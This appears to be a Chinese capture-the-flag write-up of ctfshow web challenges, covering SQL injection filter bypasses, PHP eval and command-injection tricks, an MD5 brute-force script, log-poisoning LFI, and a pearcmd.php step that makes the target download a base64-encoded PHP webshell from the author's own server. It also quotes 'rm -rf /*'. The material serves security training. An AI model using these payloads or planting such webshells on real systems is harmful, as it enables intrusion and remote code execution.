不是很难。一个是为了刷分,再一个是为了巩固php基础知识,自己又温习了一遍感觉还是能学到很多。

web1

<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
    $id = $_GET['id'];
    # 判断id的值是否大于999
    if(intval($id) > 999){
        # id 大于 999 直接退出并返回错误
        die("id error");
    }else{
        # id 小于 999 拼接sql语句
        $sql = "select * from article where id = $id order by id limit 1 ";
        echo "执行的sql为:$sql<br>";
        # 执行sql 语句
        $result = $conn->query($sql);
        # 判断有没有查询结果
        if ($result->num_rows > 0) {
            # 如果有结果,获取结果对象的值$row
            while($row = $result->fetch_assoc()) {
                echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
            }
        }
        # 关闭数据库连接
        $conn->close();
    }
    
}else{
    highlight_file(__FILE__);
}

?>

web2

对比web1多了一行判断:

if(preg_match("/or|\+/i",$id)){
        die("id error");
}

对payload无影响,同上。

web3

扩充了web2的黑名单:

if(preg_match("/or|\-|\\|\*|\<|\>|\!|x|hex|\+/i",$id)){
        die("id error");
}

这次从sql语句下手:

web4

同上

web5

if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){
        die("id error");
} 

||or被过滤掉惹,十六进制也没法用,想到1000取反两次还是1000:

<?php
$a = 1000;
$b = ~~$a;
var_dump($b);
//结果:int(1000)
?>

web6

同上

web7

这次过滤了~,转为二进制即可。

web8

这题无意义的T T说是梗题,看了wp:rm -rf /*

web9

到了最喜欢的命令执行的阶段了。

 <?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(preg_match("/system|exec|highlight/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>

?c=system("strings config.php");

flag在源代码里。

web10

 <?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|exec|highlight/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>

上题是允许匹配,这题是不允许匹配0.0但是过滤的一点都不严嘿嘿。

  • echo `ls`;
  • show_source("config.php");

web11

同上。

web12

 <?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>

这里使用同样能执行外部系统命令的passthru()。既然“config”不让写全,用通配符代替就行。

echo passthru("strings con*");

web13

 <?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|exec|highlight|cat|\.|\;|file|php|config/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>

这回不让输入分号有点难受。。需要使用?>闭合语句。

echo passthru("strings con*")?>

web14

 <?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|exec|highlight|cat|\(|\.|\;|file|php|config/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>

这次过滤了左括号。分号和上题一样使用?>代替。

  • echo `ls`?>
  • echo `strings con*`?>

web15

 <?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>

这次过滤了?<等对其非常不利的符号(笑。但是没有过滤分号,给了我可乘之机。命令可以用base64编码的形式代替,还需要注意过滤了=,因此我编码了strings con*

  • echo `ls`;
  • echo `echo c3RyaW5ncyBjb24q|base64 -d|sh`;

web16

 <?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(md5("ctfshow$c")==="a6f57ae38a22448c2f07f3f95f49c84e"){
            echo $flag;
        }else{
            echo "nonono!";
        }
}else{
        highlight_file(__FILE__);
}
?>

爆破:

import hashlib
import string

dic = string.printable
for i in dic:
    for j in dic:
        for q in dic:
            a = "ctfshow"+i+j+q
            md5 = hashlib.md5(a.encode('utf-8')).hexdigest()
            if (md5=="a6f57ae38a22448c2f07f3f95f49c84e"):
                print("c = "+i+j+q)

运行得36d

web17

<?php
if(isset($_GET['c'])){
       $c=$_GET['c'];
       if(!preg_match("/php/i",$c)){
               include($c);

       }


}else{
        highlight_file(__FILE__);
}
?>

伪协议。因为不允许输入包含php字样的内容,考虑data+base64但是行不通。

这题同[CTF.SHOW]web4 可以包含nginx日志:

把马写UA中就行:

再次包含/var/log/nginx/access.log,成功执行phpinfo,说明?写进去了。show_source("36d.php");看到flag。

web18-21

同上。

web22

 <?php
if(isset($_GET['c'])){
       $c=$_GET['c'];
       if(!preg_match("/\:|\/|\\\/i",$c)){
               include($c.".php");
       }


}else{
        highlight_file(__FILE__);
}
?>

这里涉及到一个知识点:PHP参数处理函数register_argc_argv

如果您想声明变量$argc$argv和模仿这种功能,使用register_argc_argv。

$argc变量是⽤于记录数组的⼤⼩

$argv变量是⽤于记录输⼊的参数。

⽼版本(测试版本为5.2.17)默认为 On,新版本(测试版本为 5.4.45、5.5.9、

7.3.4)默认为 Off

举个例子:

<?php
error_reporting(0);
$a=$_SERVER['argv'];
var_dump($a);
?>

可见,如果正常传入参数,数组的大小永远是1,要表示两个数组,需要用+隔开。

该题的做法是“下载一个档案文件(php文件)并使用lfi”。pear是PHP的扩展和应用程序库,包含了很多有用的类,其中pearcmd.php支持下载功能。

pearcmd.php download 路径

我开了个公网服务器:

  • echo "PD9waHAgQGV2YWwoJF9HRVRbJ3NoYXcnXSk7Pz4="|base64 -d > shaw.php
  • python3 -m http.server 8004

让题目去下载shaw.php,因为$c尾巴自动加上“php”了,直接写pearcmd就好:

?c=pearcmd&+download+http://ip/shaw.php

提示下载失败,但是访问是可以执行命令的:

⚪ 参考:

https://blog.csdn.net/qq_46091464/article/details/108954166